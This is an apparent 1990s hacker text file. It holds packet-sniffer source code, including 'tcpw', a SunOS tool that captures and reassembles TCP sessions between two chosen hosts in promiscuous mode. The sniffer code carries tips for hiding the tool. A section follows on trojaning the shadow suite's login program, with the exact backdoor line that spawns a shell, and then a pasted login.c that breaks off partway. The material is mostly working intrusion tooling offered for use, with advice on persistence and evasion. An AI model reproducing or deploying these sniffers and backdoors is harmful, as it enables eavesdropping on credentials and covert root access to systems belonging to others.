 
}
 
/* signal handler
 */
void death()
{ register struct CREC *CLe;
 
    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
 
    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}
 
/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */


err(fmt, a1, a2, a3, a4)
char	*fmt;
char	*a1, *a2, *a3, *a4;
{
	(void) fprintf(stderr, fmt, a1, a2, a3, a4);
	(void) fprintf(stderr, "\n");
	(void) exit(1);
}

static void
sigalrm()
{
	(void) err("sigalrm:  TIMEOUT");
}

strgetmsg(fd, ctlp, datap, flagsp, caller)
int	fd;
struct	strbuf	*ctlp, *datap;
int	*flagsp;
char	*caller;
{
	int	rc;
	static	char	errmsg[80];

	/*
	 * Start timer.
	 */
	(void) signal(SIGALRM, sigalrm);
	if (alarm(MAXWAIT) < 0) {
		(void) sprintf(errmsg, "%s:  alarm", caller);
		syserr(errmsg);
	}

	/*
	 * Set flags argument and issue getmsg().
	 */
	*flagsp = 0;
	if ((rc = getmsg(fd, ctlp, datap, flagsp)) < 0) {
		(void) sprintf(errmsg, "%s:  getmsg", caller);
		syserr(errmsg);
	}

	/*
	 * Stop timer.
	 */
	if (alarm(0) < 0) {
		(void) sprintf(errmsg, "%s:  alarm", caller);
		syserr(errmsg);
	}

	/*
	 * Check for MOREDATA and/or MORECTL.
	 */
	if ((rc & (MORECTL | MOREDATA)) == (MORECTL | MOREDATA))
		err("%s:  MORECTL|MOREDATA", caller);
	if (rc & MORECTL)
		err("%s:  MORECTL", caller);
	if (rc & MOREDATA)
		err("%s:  MOREDATA", caller);

	/*
	 * Check for at least sizeof (long) control data portion.
	 */
	if (ctlp->len < sizeof (long))
		err("getmsg:  control portion length < sizeof (long):  %d", ctlp->len);
}

expecting(prim, dlp)
int	prim;
union	DL_primitives	*dlp;
{
	if (dlp->dl_primitive != (u_long)prim) {
		err("unexpected dlprim error\n");
		exit(1);
	}
}
strioctl(fd, cmd, timout, len, dp)
int	fd;
int	cmd;
int	timout;
int	len;
char	*dp;
{
	struct	strioctl	sioc;
	int	rc;

	sioc.ic_cmd = cmd;
	sioc.ic_timout = timout;
	sioc.ic_len = len;
	sioc.ic_dp = dp;
	rc = ioctl(fd, I_STR, &sioc);

	if (rc < 0)
		return (rc);
	else
		return (sioc.ic_len);
}
dlattachreq(fd, ppa)
int	fd;
u_long	ppa;
{
	dl_attach_req_t	attach_req;
	struct	strbuf	ctl;
	int	flags;

	attach_req.dl_primitive = DL_ATTACH_REQ;
	attach_req.dl_ppa = ppa;

	ctl.maxlen = 0;
	ctl.len = sizeof (attach_req);
	ctl.buf = (char *) &attach_req;

	flags = 0;

	if (putmsg(fd, &ctl, (struct strbuf*) NULL, flags) < 0)
		syserr("dlattachreq:  putmsg");
}

dlokack(fd, bufp)
int	fd;
char	*bufp;
{
	union	DL_primitives	*dlp;
	struct	strbuf	ctl;
	int	flags;

	ctl.maxlen = MAXDLBUF;
	ctl.len = 0;
	ctl.buf = bufp;

	strgetmsg(fd, &ctl, (struct strbuf*)NULL, &flags, "dlokack");

	dlp = (union DL_primitives *) ctl.buf;

	expecting(DL_OK_ACK, dlp);

	if (ctl.len < sizeof (dl_ok_ack_t))
		err("dlokack:  response ctl.len too short:  %d", ctl.len);

	if (flags != RS_HIPRI)
		err("dlokack:  DL_OK_ACK was not M_PCPROTO");

	if (ctl.len < sizeof (dl_ok_ack_t))
		err("dlokack:  short response ctl.len:  %d", ctl.len);
}


dlbindreq(fd, sap, max_conind, service_mode, conn_mgmt, xidtest)
int	fd;
u_long	sap;
u_long	max_conind;
u_long	service_mode;
u_long	conn_mgmt;
u_long	xidtest;
{
	dl_bind_req_t	bind_req;
	struct	strbuf	ctl;
	int	flags;

	bind_req.dl_primitive = DL_BIND_REQ;
	bind_req.dl_sap = sap;
	bind_req.dl_max_conind = max_conind;
	bind_req.dl_service_mode = service_mode;
	bind_req.dl_conn_mgmt = conn_mgmt;
	bind_req.dl_xidtest_flg = xidtest;

	ctl.maxlen = 0;
	ctl.len = sizeof (bind_req);
	ctl.buf = (char *) &bind_req;

	flags = 0;

	if (putmsg(fd, &ctl, (struct strbuf*) NULL, flags) < 0)
		syserr("dlbindreq:  putmsg");
}

dlbindack(fd, bufp)
int	fd;
char	*bufp;
{
	union	DL_primitives	*dlp;
	struct	strbuf	ctl;
	int	flags;

	ctl.maxlen = MAXDLBUF;
	ctl.len = 0;
	ctl.buf = bufp;

	strgetmsg(fd, &ctl, (struct strbuf*)NULL, &flags, "dlbindack");

	dlp = (union DL_primitives *) ctl.buf;

	expecting(DL_BIND_ACK, dlp);

	if (flags != RS_HIPRI)
		err("dlbindack:  DL_OK_ACK was not M_PCPROTO");

	if (ctl.len < sizeof (dl_bind_ack_t))
		err("dlbindack:  short response ctl.len:  %d", ctl.len);
}

dlpromisconreq(fd, level)
int	fd;
u_long	level;
{
	dl_promiscon_req_t	promiscon_req;
	struct	strbuf	ctl;
	int	flags;

	promiscon_req.dl_primitive = DL_PROMISCON_REQ;
	promiscon_req.dl_level = level;

	ctl.maxlen = 0;
	ctl.len = sizeof (promiscon_req);
	ctl.buf = (char *) &promiscon_req;

	flags = 0;

	if (putmsg(fd, &ctl, (struct strbuf*) NULL, flags) < 0)
		syserr("dlpromiscon:  putmsg");

}

syserr(s)
char	*s;
{
	(void) perror(s);
	exit(1);
}


do_it()
{
	long	buf[MAXDLBUF];
	char	*device;
	int	ppa;
	int	fd;
	int	sap;
	struct	strbuf	data;
	int	flags;
	int	i;
	int	c;
	int	offset;
	int	len;
	struct	timeval	t;
	u_int	chunksize = 16 * 1024;
	struct	sb_hdr	*bp;
	char	*p, *limp;

	int mrwtmp; /* temporary debugging crap */

	device = "/dev/le";
	ppa = 0;
	sap= 0x800;

	/*
	 * Open the device.
	 */
	if ((fd = open(device, 2)) < 0)
		syserr(device);

	/*
	 * Attach.
	 */
	dlattachreq(fd, ppa);
	dlokack(fd, buf);

	/*
	 * Optionally enable promiscuous mode.
	 */
	if (promisc) {
		dlpromisconreq(fd, DL_PROMISC_PHYS);
		dlokack(fd, buf);
	}

	/*
	 * Bind.
	 */
	dlbindreq(fd, sap, 0, DL_CLDLS, 0, 0);
	dlbindack(fd, buf);

	/*
	 * Issue DLIOCRAW ioctl.
	 */
	if (strioctl(fd, DLIOCRAW, -1, 0, NULL) < 0)
		syserr("DLIOCRAW");

	/*
	 * Push and configure buffer module.
	 */
	if (bufmod) {
		if (ioctl(fd, I_PUSH, "bufmod") < 0)
			syserr("push bufmod");

		t.tv_sec = 0;
		t.tv_usec = 500000;	/* 0.5s */
		if (strioctl(fd, SBIOCSTIME, -1, sizeof (struct timeval),
			&t) < 0)
			syserr("SBIOCSTIME");
		if (strioctl(fd, SBIOCSCHUNK, -1, sizeof (u_int),
			&chunksize) < 0)
			syserr("SBIOCSCHUNK");
	}

	/*
	 * Flush the read side of the Stream.
	 */
	if (ioctl(fd, I_FLUSH, FLUSHR) < 0)
		syserr("I_FLUSH");

	/*
	 * Read packets.
	 */

	data.buf = (char *) databuf;
	data.maxlen = MAXDLBUF;
	data.len = 0;

	/* Here's the deal:  I had some problems with the bufmod code, but
	   I think it's working now.  I don't know a whole lot about the
	   whole DLPI interface, so I can't be sure there aren't any
	   oversights here.  It seems to be working now, but I have not had
	   the time to do extensive testing.
	   I know for certain that packets will be dropped on a busy network
	   if I don't use bufmod.  That problem should not occur when using
	   bufmod, but like I said, I may have overlooked something. */

	while (((mrwtmp=getmsg(fd, NULL, &data, &flags))==0) ||
		 (mrwtmp==MOREDATA) || (mrwtmp=MORECTL)) {
		p = data.buf;
		limp = p + data.len;

	/* This is the ugliest piece of commented out crap that I've ever
	   done.  Ignore it.  Someday it will go away. */
	/*	if (data.len && bufmod) {
			for (; p < limp; p += bp->sbh_totlen) {
				bp = (struct sb_hdr*) p; 
				/* Display hex data if we want * /
 				for (i = 0; i < bp->sbh_msglen; i++)
					printf("%02x ", *(p +
						sizeof (struct sb_hdr) + i)
						& 0xff);
				printf("\n"); 
				filter(p, bp->sbh_msglen);
			} 
		} else if (data.len) { */
			filter(data.buf, data.len); 
		/*	}  else if */
		data.len = 0;
	} /* while */
	printf("finished getmsg() = %i\n",mrwtmp);
}


/* Authorization, if you'd like it. */
#define AUTHPASSWD "c6Lqd3Dvn2l3s" 
 
void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];
 
    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
     
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;
 
    ProgName=argv[0];
 
/*    getauth(); */
/* I put this here for a reason, but now I'm commenting it out. */
/*    if(!(LOG=fopen((LogName=".tfile"),"a")))
         Zexit(1,"Output file cant be opened\n"); */

/* Its still called NIT_DEV, even if it's no longer /dev/nit */
    device=NIT_DEV; 
    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
                      break;
            case 'O': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
                      break;
            case 'B': backg=1;
                      break;
            case 'S': filter_flags|=FILT_SMTP;
		      fprintf(ERR,"filtering out smtp connections.\n");
                      break;
            case 'T': filter_flags|=FILT_TELNET;
		      fprintf(ERR,"filtering out telnet connections.\n");
                      break;
            case 'L': filter_flags|=FILT_LOGIN;
		      fprintf(ERR,"filtering out rsh/rlogin connections.\n");
                      break;
            case 'F': filter_flags|=FILT_FTP;
		      fprintf(ERR,"filtering out ftp connections.\n");
                      break; 
            case 'D': maxbuflen=atoi(argv[ac++]);
		      if (maxbuflen > MAXBUFLEN) maxbuflen=MAXBUFLEN;
                      break;
            default : fprintf(ERR,
                        "Usage: %s [-d x] [-s] [-f] [-l] [-t] [-i interface] [-o file]\n",
                            ProgName);
		fprintf(ERR,"	-d int    set new data limit (128 default)\n");
		fprintf(ERR,"	-s        filter out smtp connections\n");
		fprintf(ERR,"	-f        filter out ftp connections\n");
		fprintf(ERR,"	-l        filter out rlogin/rsh connections\n");
		fprintf(ERR,"	-t        filter out telnet connections\n");
		fprintf(ERR,"	-o <file> output to <file>\n");
                      exit(1);
       }
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
 
    if(!LOG)
        LOG=stdout;
 
    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);
 
    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }

    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);
 
    do_it();
}
 
/**
 ** version     : v1.01
 ** architecture: SunOS 4.1 [Sun3/Sun4]
 ** compilation : cc -O4 tcpw.c -o tcpw; strip tcpw
 ** source rights: this is an EXTREMELLY VICIOUS program, it is ADVISED
 **     that if you must keep this source online, KEEP IT IN ENCRYPTED
 **     FORM.
 **/

#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

char *malloc();
char *device;
int debug = 0,			/* debug */
  fastdump = 0,			/* do no sequential packet processing */
  oneway = 0;			/* oneway watch */

char *ProgName;

#define  NIT_DEV  "/dev/nit"
#define  CHUNKSIZE  4096	/* device buffer size */

int if_fd = -1;
int Packet[CHUNKSIZE + 32];

#define  STREAM_NULL  (0)
#define  STREAM_STOD  (1)
#define  STREAM_DTOS  (2)
#define  STREAM_MAX  (3)

struct PktStack {
  u_char data[CHUNKSIZE];
  int Len;
  u_long Seq;
};

#define  STACK_MAX  (10)

struct PktStack pkt_stack[STREAM_MAX][STACK_MAX];
int pkt_snum[STREAM_MAX];
u_long seq_num[STREAM_MAX];
char *Hostname[STREAM_MAX];
struct in_addr IPaddr[STREAM_MAX];
int TCPport[STREAM_MAX];

#define  ISeq(s,d)  ((s) == (d))
#define  ISneq(s,d)  ((s) != (d))

void
Pexit(err, msg)
  int err;
  char *msg;
{
  perror(msg);
  exit(err);
}

void
Zexit(err, msg)
  int err;
  char *msg;
{
  fprintf(stderr, msg);
  exit(err);
}

#define  FREEstk(SK,St,Rc) { \
  SK.Len = (-1); \
  if(!(--pkt_snum[St])) \
    return(Rc); \
  }
#define  ALLOCstk(SK,Len,Data,S,St) { \
  bcopy(Data,SK.data,Len); \
  SK.Len = Len; \
  SK.Seq = S; \
  pkt_snum[St]++; \
  }
#define  pr_packet(p,length) { \
  while(length-- >0) \
  fputc(*p++,stdout); \
  fflush(stdout); \
  }
#define  MAL_pr_packet(i_p,i_length) { \
  register u_char *p = i_p; \
  register int length = i_length; \
  pr_packet(p,length); \
  }
#define  DEBUGstk(Msg,Num,Seq) if(debug) { \
  printf(Msg,Num,Seq); fflush(stdout); \
  }
#define  SPKT  pkt_stack[Tp][i]

/* find and print any packets in the stack IF they are sequential
 * after ours
 */
int
cpr_stack(Tp)
  register int Tp;
{
  register int i, pr = 1;

  while (pr)
    for (pr = i = 0; (i < STACK_MAX) && (!pr); i++) {
      if (ISneq(SPKT.Len, (-1))) {
	if (SPKT.Seq <= seq_num[Tp]) {	/* check for old packets */
	  DEBUGstk("DISCARD(%d/%08X)\n",
		   pkt_snum[Tp], SPKT.Seq);
	  FREEstk(SPKT, Tp, 0);
	} else if (ISeq(SPKT.Seq, (seq_num[Tp] + 1))) {	/* check for ours! */
	  DEBUGstk("POP(%d/%08X\n", pkt_snum[Tp], SPKT.Seq);
	  seq_num[Tp] = SPKT.Seq;
	  MAL_pr_packet(SPKT.data, SPKT.Len);
	  FREEstk(SPKT, Tp, 0);
	  pr = 1;
	}
      }
    }
}

/* push packet onto stack, also checking for overflow, if so, dump
 * the stack [missing packet assumed unrecoverable] */
int
psh_stack(S, Tp, p, Len)
  register u_long S;
  register int Tp, Len;
  register u_char *p;
{
  register
  int i = 0;
  register struct PktStack *PK = NULL;

  for (; (i < STACK_MAX); i++) {
    if (ISneq(SPKT.Len, (-1))) {
      if (ISeq(SPKT.Seq, S))
	return (0);		/* that Seqnum is already on the stack */
    } else if (ISeq(PK, NULL)) {
      PK = &SPKT;
    }
  }
  /* its not on the stack and we got a position for it */
  if (ISneq(PK, NULL)) {
    DEBUGstk("PUSH(%d/%08X)\n", pkt_snum[Tp], S);
    bcopy(p, PK->data, Len);
    PK->Len = Len;
    PK->Seq = S;
    pkt_snum[Tp]++;
    return (0);
  } {
    /* if we reach here, stack is full, assume missing packet is
 * gone forever, so just dump now ..   */
    register int j;
    register u_long CS;

    while (1) {
      j = (STACK_MAX + 2);
      CS = ~(0);		/* determine lowest seq number */
      for (i = 0; (i < STACK_MAX); i++) {
	if (ISneq(SPKT.Len, (-1)) && (SPKT.Seq <= CS)) {
	  CS = SPKT.Seq;
	  j = i;
	}
      }				/* must be nothing in stack */
      if (j > STACK_MAX)
	return (1);		/* print */
      seq_num[Tp] = SPKT.Seq;
      DEBUGstk("FLUSH(%d/%08X)\n", pkt_snum[Tp], SPKT.Seq);
      MAL_pr_packet(SPKT.data, SPKT.Len);
      FREEstk(SPKT, Tp, 1);
    }
  }
}

#define  IP  ((struct ip *)Packet)
#define  IP_OFFSET  (0x1FFF)
#define  SZETH  (sizeof(struct ether_header))
#define  IPLEN  (ntohs(ip->ip_len))
#define  IPHLEN  (ip->ip_hl)
#define  ADneq(s,t)  ((s).s_addr != (t).s_addr)

/* important part of the prog, determines if a packet is one
 * we want, and performs sycnhing of sequence numbers */
void
filter(cp, pktlen)
  char *cp;
  u_int pktlen;
{
  register int Stream = STREAM_NULL;
  register struct ip *ip;
  register struct tcphdr *tcph;
  register u_long CurSEQ;
  register u_char *p;

  {
    register u_short EtherType = ntohs(((struct ether_header *) cp)->ether_type);

    if (EtherType < 0x600) {
      EtherType = *(u_short *) (cp + SZETH + 6);
      cp += 8;
      pktlen -= 8;
    }
    if (ISneq(EtherType, ETHERTYPE_IP))
      return;
  }
  /* ugh, gotta do an alignment :-( */
  bcopy(cp + SZETH, (char *) Packet, (int) (pktlen - SZETH));
  ip = (struct ip *) Packet;
  if (ISneq(ip->ip_p, IPPROTO_TCP))
    return;
  tcph = (struct tcphdr *) (Packet + IPHLEN);
  CurSEQ = (ntohl(tcph->th_seq));
  if (debug) {
    printf("SRC:%s(%d) ", inet_ntoa(ip->ip_src), tcph->th_sport);
    printf("DST:%s(%d)\n", inet_ntoa(ip->ip_dst), tcph->th_dport);
  }
  if (ISeq(tcph->th_sport, TCPport[STREAM_STOD]) &&
      ISeq(tcph->th_dport, TCPport[STREAM_DTOS])) {
    if (ADneq(ip->ip_src, IPaddr[STREAM_STOD]) ||
	ADneq(ip->ip_dst, IPaddr[STREAM_DTOS]))
      return;
    if (!seq_num[Stream = STREAM_STOD]) {
      seq_num[STREAM_STOD] = CurSEQ - 1;
      printf("Hooked S->D [Seq %08X] ...\n", CurSEQ);
    } else if (CurSEQ <= seq_num[STREAM_STOD])
      return;
  } else if ((!oneway) &&
	     ISeq(tcph->th_sport, TCPport[STREAM_DTOS]) &&
	     ISeq(tcph->th_dport, TCPport[STREAM_STOD])) {
    if (ADneq(ip->ip_src, IPaddr[STREAM_DTOS]) ||
	ADneq(ip->ip_dst, IPaddr[STREAM_STOD]))
      return;
    if (!seq_num[Stream = STREAM_DTOS]) {
      seq_num[STREAM_DTOS] = CurSEQ - 1;
      printf("Hooked D->S [Seq %08X] ...\n", CurSEQ);
    } else if (CurSEQ <= seq_num[STREAM_DTOS])
      return;
  } else
    return;
  {
    register int length = ((IPLEN - (IPHLEN * 4)) - (tcph->th_off * 4));

    if (debug)
      printf("[%s]Seq=%08X,pl=%04X,dl=%04X,l=%04X,iph=%04X,ipl=%04X,tf=%04X\n",
	     (Stream == STREAM_STOD) ? " S / D " : " D / S ", CurSEQ, pktlen,
       (IPLEN - (IPHLEN * 4)), length, ip->ip_hl, ip->ip_len, tcph->th_off);
    p = (u_char *) Packet;
    p += ((ip->ip_hl * 4) + (tcph->th_off * 4));
    if (fastdump) {
      pr_packet(p, length);
    } else {
    re_loop:if (ISeq(CurSEQ, (seq_num[Stream] + 1))) {
	seq_num[Stream] = CurSEQ;
	pr_packet(p, length);
	if (pkt_snum[Stream])	/* check for 'stacked' packets */
	  cpr_stack(Stream);
      } else {
	/* out of sequence packet */
	if (psh_stack(CurSEQ, Stream, p, length))
	  goto re_loop;
      }
    }
  }
}

/* signal handler */
void
flushit()
{
  printf("\n\n[terminating]\n");
  fflush(stdout);
  exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function */
void
do_it()
{
  int cc;
  char *buf;

  u_short sp_ts_len;

  if (!(buf = malloc(CHUNKSIZE)))
    Pexit(1, "Eth: malloc");
  /* this /dev/nit initialization code pinched from etherfind */  {
    struct strioctl si;
    struct ifreq ifr;
    struct timeval timeout;
    u_int chunksize = CHUNKSIZE;
    u_long if_flags = NI_PROMISC;

    if ((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
      Pexit(1, "Eth: nit open");
    if (ioctl(if_fd, I_SRDOPT, (char *) RMSGD) < 0)
      Pexit(1, "Eth: ioctl (I_SRDOPT)");
    si.ic_timout = INFTIM;
    if (ioctl(if_fd, I_PUSH, "nbuf") < 0)
      Pexit(1, "Eth: ioctl (I_PUSH \"nbuf\")");
    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof (timeout);
    si.ic_dp = (char *) &timeout;
    if (ioctl(if_fd, I_STR, (char *) &si) < 0)
      Pexit(1, "Eth: ioctl (I_STR: NIOCSTIME)");
    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof (chunksize);
    si.ic_dp = (char *) &chunksize;
    if (ioctl(if_fd, I_STR, (char *) &si) < 0)
      Pexit(1, "Eth: ioctl(I_STR:NIOCSCHUNK) ");
    strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name));
    ifr.ifr_name[sizeof (ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof (ifr);
    si.ic_dp = (char *) &ifr;
    if (ioctl(if_fd, I_STR, (char *) &si) < 0)
      Pexit(1, "Eth: ioctl (I_STR: NIOCBIND)");
    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof (if_flags);
    si.ic_dp = (char *) &if_flags;
    if (ioctl(if_fd, I_STR, (char *) &si) < 0)
      Pexit(1, "Eth: ioctl (I_STR:    NIOCSFLAGS) ");
    if (ioctl(if_fd, I_FLUSH, (char *) FLUSHR) < 0)
      Pexit(1, "Eth: ioctl (I_FLUSH)");
  }
  while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
    register char *bp = buf, *bufstop = (buf + cc);

    while (bp < bufstop) {
      register char *cp = bp;

      register struct nit_bufhdr *hdrp;

      hdrp = (struct nit_bufhdr *) cp;
      cp += sizeof (struct nit_bufhdr);

      bp += hdrp->nhb_totlen;
      filter(cp, (u_long) hdrp->nhb_msglen);
    }
  } Pexit((-1), "Eth: read");
}

/* Parses Hostname/port information */
int
FixHost(h, Tp)
  char *h;
  int Tp;
{
  int ok = 1, i = 0;
  char *ptr;

  if (!(ptr = strtok(h, "/")))
    return (0);
  /* get hostname, convert from symbolic if needed */
  if ((IPaddr[Tp].s_addr = inet_addr(ptr)) == (unsigned) -1) {
    struct hostent *he = gethostbyname(ptr);

    if (he) {
      Hostname[Tp] = strdup(he->h_name);
      bcopy(he->h_addr, (char *) &IPaddr[Tp].
	    s_addr, 4);
    } else
      return (0);
  } else
    Hostname[Tp] = strdup(inet_ntoa(IPaddr[Tp]));
  if (!(ptr = strtok(NULL, "")))
    return (0);
  /* get portname, conver from symbolic if needed */
  if ((TCPport[Tp] = atoi(ptr)) == 0) {
    struct servent *sv = getservbyname(ptr, "tcp");

    if (sv)
      TCPport[Tp] = sv->s_port;
    else
      return (0);
  }
  return (1);
}

#define AUTHPASSWD "EloiZgZejWyms"
/* Important! ensures other people cant (easily) run this program,
 * you may consider removing the HELP text to disguise it.
 */
void
Get_Authorization()
{
  char *buf, *getpass(), *crypt();
  char pwd[21];

  strcpy(pwd, AUTHPASSWD);
  buf = getpass("up? ");
  if (strcmp(pwd, crypt(buf, pwd)))
    exit(1);
}

void
Usage()
{
  fprintf(stderr, "Usage: %s [-i device] [-d] [-o] [-f] SRC.Host/Port DST.Host/Port\n",
	  ProgName);
  fprintf(stderr, "  -o         Oneway [Watch src->dst packets only]\n");
  fprintf(stderr, "  -d         Debug\n");
  fprintf(stderr, "  -f         Fastdump - ignore sequence numbers\n");
  fprintf(stderr, "  -i    device specify logical ethernet interface\n");
  fprintf(stderr, " Host/Port  Hostname with respective port, maybe in\n");
  fprintf(stderr, " numeric or symbolic format.\n\n");
  fprintf(stderr, "  Example:   %s -i le0 -o hack.com/login 128.2.2.2/5645\n", ProgName);
  fprintf(stderr, "             (C)1992 >R  -> AUTHORIZED USE ONLY\n");
  exit(1);
}

/* Where it all begins ... */
void
main(argc, argv)
  int argc;
  char **argv;
{
  char cbuf[BUFSIZ];
  struct ifconf ifc;
  int s, ac = 1;

  ProgName = argv[0];
  if (argc < 3)
    Usage();
  /* Get_Authorization();		/* parse args */
  device = NULL;
  while (argv[ac][0] == '-') {
    register char ch = argv[ac++][1];

    switch (toupper(ch)) {
    case 'I':
      device = argv[ac++];
      break;
    case 'D':
      debug = 1;
      break;
    case 'O':
      oneway = 1;
      break;
    case 'F':
      fastdump = 1;
      break;
    default:
      Usage();
      break;
    }
  }				/* resolve host/ports */
  if (!FixHost(argv[ac++], STREAM_STOD))
    Zexit(1, "Cannot resolve source host/port");
  if (!FixHost(argv[ac++], STREAM_DTOS))
    Zexit(1, "Cannot resolve destination host/port"); {
    register int i, j;

    for (i = 0; i < STREAM_MAX; i++) {
      pkt_snum[i] = 0;
      seq_num[i] = 0;
      for (j = 0; j < STACK_MAX; j++)
	pkt_stack[i][j].Len = -1;
    }
    }				/* if not a specified device, determine it */
    if (!device) {
      if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
	Pexit(1, "Eth: socket");
      ifc.ifc_len = sizeof (cbuf);
      ifc.ifc_buf = cbuf;
      if (ioctl(s, SIOCGIFCONF, (char *) &ifc) < 0)
	Pexit(1, "Eth: ioctl");
      close(s);
      device = ifc.ifc_req->ifr_name;
    }
  printf("IP/TCP monitor: %s(%d) <=> %s(%d)\n", Hostname[STREAM_STOD], TCPport[STREAM_STOD], Hostname[STREAM_DTOS], TCPport[STREAM_DTOS]);
  printf("Configured device %s [%s], %s%s%ssynching stream ...\n", device, NIT_DEV, (debug) ? "(debug) " : "", (oneway) ? "(1way) " : "", (fastdump) ? "(fdmp) " : "");
  fflush(stdout);
  signal(SIGINT, flushit);
  signal(SIGTERM, flushit);
  do_it();			/* NOT_REACHED */
}

Well, now you have sniffers running... But what to do if the admin finds
that you've been playing with his site, and decides to kick yer butt...
You should have some trojans installed, just in case... 
How to make a trojan :
----------------------
So, get the SHADOW suite ( if you need shadow), from :
ftp://ftp.ists.pwr.wroc.pl/pub/linux/shadow/
and decompress it.. and then look at the source code...
look for the string "main ("...
after it, a few lines below you should find the string:
        Prog = Basename(argv[0]);

so... if you found it... 
after it, right after it, insert the following C code:

if (!strcmp(Prog,"LOGIN")) {
execl("/bin/sh","/bin/login",NULL);
}

you should change the "LOGIN" string to something else and the /bin/login
string to something else, so it wont bother anybody... :)

here it is a modified login program from shadow suite... compile it using
the makefile of the shadow suite... of course
:)

/*
 * Copyright 1989 - 1994, John F. Haugh II
 * All rights reserved.
 * And modified by Phantom...
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *	This product includes software developed by John F. Haugh, II
 *      and other contributors.
 * 4. Neither the name of John F. Haugh, II nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY JOHN HAUGH AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL JOHN HAUGH OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#include <config.h>

#include "rcsid.h"
RCSID("$Id: lmain.c,v 1.8 1996/03/25 07:37:46 marekm Exp marekm $")

#include "prototypes.h"
#include "defines.h"
#include <sys/stat.h>
#include <stdio.h>
#include <pwd.h>
#include <grp.h>
#if HAVE_UTMPX_H
#include <utmpx.h>
#else
#include <utmp.h>
#endif
#include <signal.h>

#include <lastlog.h>
#include "faillog.h"
#ifdef	SHADOWPWD
#include <shadow.h>
#endif
#include "pwauth.h"
#include "getdef.h"

#ifdef SVR4_SI86_EUA
#include <sys/proc.h>
#include <sys/sysi86.h>
#endif

#ifdef RADIUS
/*
 * Support for RADIUS authentication based on a hacked util-linux login
 * source sent to me by Jon Lewis.  Not tested.  --marekm
 */
#include "radlogin.h"
#endif

char	host[BUFSIZ];

struct	passwd	pwent;
#if HAVE_UTMPX_H
struct	utmpx	utxent, failent;
struct	utmp	utent;
#else
struct	utmp	utent, failent;
#endif
struct	lastlog	lastlog;
int	pflg;
int	fflg;
#ifdef RLOGIN
int	rflg;
#else
#define rflg 0
#endif
int	hflg;
int	preauth_flag;

#ifndef	MAXENV
#define	MAXENV	64
#endif

/*
 * Global variables.
 */

static char *Prog;
char *newenvp[MAXENV];
int newenvc = 0;
int maxenv = MAXENV;

/*
 * External identifiers.
 */

extern	char	*getenv ();
extern	char	*tz ();
extern	void	checkutmp ();
extern	void	set_env ();
extern	unsigned alarm ();
extern	void	setutmp ();
extern	void	subsystem ();
extern	void	log ();
extern	void	motd ();
extern	void	mailcheck ();
extern	int	optind;
